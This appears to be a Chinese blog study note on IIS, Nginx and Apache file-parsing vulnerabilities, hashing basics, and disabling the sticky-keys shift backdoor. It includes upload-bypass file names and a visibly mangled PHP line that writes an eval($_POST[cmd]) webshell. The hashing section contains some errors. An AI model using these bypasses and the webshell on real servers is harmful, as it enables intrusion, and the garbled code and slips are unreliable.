2019-07-04

解析漏洞

iis5.x  iis6.0

1. 如果能创建文件夹的话,创建xx.asp文件夹,那么该文件夹下的所有文件都会按asp格式去解析,在该文件夹下上传evil.jpg  访问www.xxx.com/xx.asp/evil.jpg  执行代码

2. 直接上传evil.asp;.jpg文件绕过黑白名单校验,访问www.xxx.com/evil.asp;.jpg时iis会按照asp文件去解析

IIS 5.x/6.0在从文件路径中读取文件后缀时,遇到一个“.”后,便进入了一种截断状态,在该状态下遇到特殊符号——“/”和“;”,都会进行截断,只保留特殊符号前的部分,即:“.asp”,从而认为文件后缀为“.asp”。


IIS7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞:

在默认Fast-CGI开启状况下,黑阔上传一个名字为evil.jpg,内容为     

fputs(fopen('shell.php','w'),'

eval($_POST[cmd])?>');?>    

的文件,

然后访问evil.jpg/.php,在这个目录下就会生成一句话木马 shell.php


Nginx<8.03 空字节代码执行漏洞      影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8<= 0.8.37

Nginx在图片中嵌入PHP代码然后通过访问  

evil.jpg%00.php      

来执行其中的代码


Apache解析漏洞  :

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.   比如 evil.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个evil.php.rara.jpg.png…(把知道的常见后缀都写上…)


哈希算法

Hash算法,简称散列算法,也成哈希算法(英译),是将一个大文件映射成一个小串字符。与指纹一样,就是以较短的信息来保证文件的唯一性的标志,这种标志与文件的每一个字节都相关,而且难以找到逆向规律。

Hash算法是不可逆的,即不同通过Hash值逆向推出key的值。

消息身份验证代码(MAC)哈希函数通常与数字签名-起用于对数据进行签名 ,而消息检测代码 (MDC)哈希函数则用于数据完整性。

哈希算法可以检验信息是否是相同的,这样的优势可以节省重复文件传送的时间。

举一个生活中很平常的例子,我们在生活工作中会使用一些软件给别人传送文件数据,如果有人传送了一份文件给一个人,然后又有一个人传送了相同的文件给了另外一个人,那么这个社交软件在第二次传送文件的时候会对比两次传送的哈希值,发现是相同的,该软件就不会再次上传文件给服务器了。

除此之外,哈希算法还可以检验信息的拥有者是否真实。

比如,我们在一个网站注册一个账号,如果网站把密码保存起来,那这个网站不论有多安全,也会有被盗取的风险。但是如果用保存密码的哈希值代替保存密码,就没有这个风险了,因为哈希值加密过程是不不可逆的。


        主要的Hash实现主要有一下几类,其中MD5和SHA-1是应用最为广泛的Hash算法。

MD4

        MD4是MIT的Rivest在1990年设计,MD是信息摘要 Message Digest 的缩写。它是基于32位操作数的位操作来实现的。

MD5 

       MD5是Rivest在1991年对MD4的改进,MD5比MD4来得复杂,因此速度慢一些,但安全性更好。 

SHA-1 

       SHA-1是由NIST NSA设计的,它对长度小于264位的输入,产生长度位160位的散列值。因此抗穷举性更好。SHA-1模仿了MD4的算法。

shift后门是黑客希望以后方便进入服务器而在没有密码的情况下为进入服务器系统而设置的一个后门。

其操作就是在不知道管理员密码的情况下,连续按5次shift键来启动粘滞键,已进入服务器的系统程序管理器。

禁止的两种方法:

第一种:直接删除C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到).这种方法不能完全解除,当服务器重启后,还是会出现后门。

第二种(建议使用这种方法):使用权限来约束这两个文件C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到). 在权限里设置为所有用户(Everyone)禁止运行。具体操作步骤如下:

1.找到C:\WINDOWS\system32目录下的sethc.exe文件,打开属性:

点击”高级“,去掉“允许父项的继承权限传播到该对象和所有子对象”的勾。

点击”添加“,在出现的选择用户和组中点击”立即查找“,在搜索结果中找到”Everoy“用户,并确定:

点击确定:

继续确定,将”Everoy“用户的权限设置为全部拒绝:

这样就禁止了安装和在此访问。当再次安装和访问时,就会出现拒绝访问:

你可能感兴趣的:(2019-07-04)